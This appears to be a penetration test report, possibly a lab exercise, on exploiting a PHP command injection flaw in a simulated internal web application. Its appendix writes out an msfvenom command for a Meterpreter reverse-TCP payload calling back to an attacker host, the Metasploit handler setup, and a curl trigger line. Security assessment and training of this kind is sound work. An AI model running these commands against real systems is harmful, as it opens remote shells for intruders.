

Internal Penetration Test Report

1. Executive Summary

This internal penetration test simulated an attacker operating inside an organization's local network. The objective was to uncover vulnerabilities, exploit them using Metasploit, and assess the potential impact. One high-risk vulnerability was identified in a simulated web application, allowing for remote code execution and system compromise via a PHP command injection flaw.

The test demonstrates that insecure web services on internal networks can be exploited to gain unauthorized access, emphasizing the need for robust application security and internal monitoring. The successful exploitation led to a Meterpreter session with full system access, highlighting the severity of this vulnerability.

2. Scope and Methodology

Scope:

- Target: Simulated local victim machine with vulnerable services (HTTP and custom TCP services)
- Attacker System: Kali Linux-based machine with Metasploit installed

Methodology:

1. Environment Setup: Installed Metasploit and configured simulated victim services.
2. Reconnaissance: Performed internal scanning using nmap to detect open ports and services.
3. Vulnerability Identification: Discovered PHP web application vulnerable to command injection.
4. Exploitation: Used Metasploit to deliver a PHP reverse shell payload via HTTP GET parameter.
5. Post-Exploitation: Obtained a Meterpreter session, demonstrating control over the system.

3. Findings Table

Internal Penetration Test Report

Vulnerability Description	Exploit Method	CVSS Score (v3.1)	Proof/Evidence	Remediation
Command Injection in PHP Web Application	Delivered a Meterpreter payload through an HTTP GET request to a vulnerable PHP script	9.8 - Critical Justification: Network exploitable, no authentication required, full system compromise possible	- Screenshot of Meterpreter session opened - curl http://<target-ip>/vuln.p hp?cmd=payload - Logs showing shell connection	- Sanitize and validate all user input - Disable dangerous PHP functions (e.g., system, exec) - Implement web application firewall (WAF)

4. Appendix

Tools Used:

- Metasploit Framework: For payload generation and exploitation
- Nmap: For network scanning and service enumeration
- PHP Built-in Server: To simulate vulnerable web service
- Custom Echo Server: For service fuzzing (not exploited)

Key Commands and Logs:

- Nmap Scan:

```
nmap -sV -T4 <target-ip>
```

- Payload Generation:

```
msfvenom -p php/meterpreter/reverse_tcp LHOST=<attacker-ip> LPORT=4444 -f raw > payload.php
```

- Metasploit Handler:

```
use exploit/multi/handler
```

Internal Penetration Test Report

```
set payload php/meterpreter/reverse_tcp
```

```
set LHOST <attacker-ip>
```

```
set LPORT 4444
```

```
run
```

- Trigger Exploit:

```
curl http://<target-ip>/vuln.php?cmd=<payload>
```

Screenshots:

- [Insert screenshot of Meterpreter session here]
- [Insert screenshot of Nmap scan results]
- [Insert screenshot of proof of command execution]